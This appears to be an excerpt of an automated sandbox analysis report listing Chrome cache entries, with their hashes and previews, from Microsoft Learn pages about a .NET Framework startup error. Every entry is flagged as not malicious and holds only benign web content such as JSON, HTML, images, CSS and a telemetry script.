Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
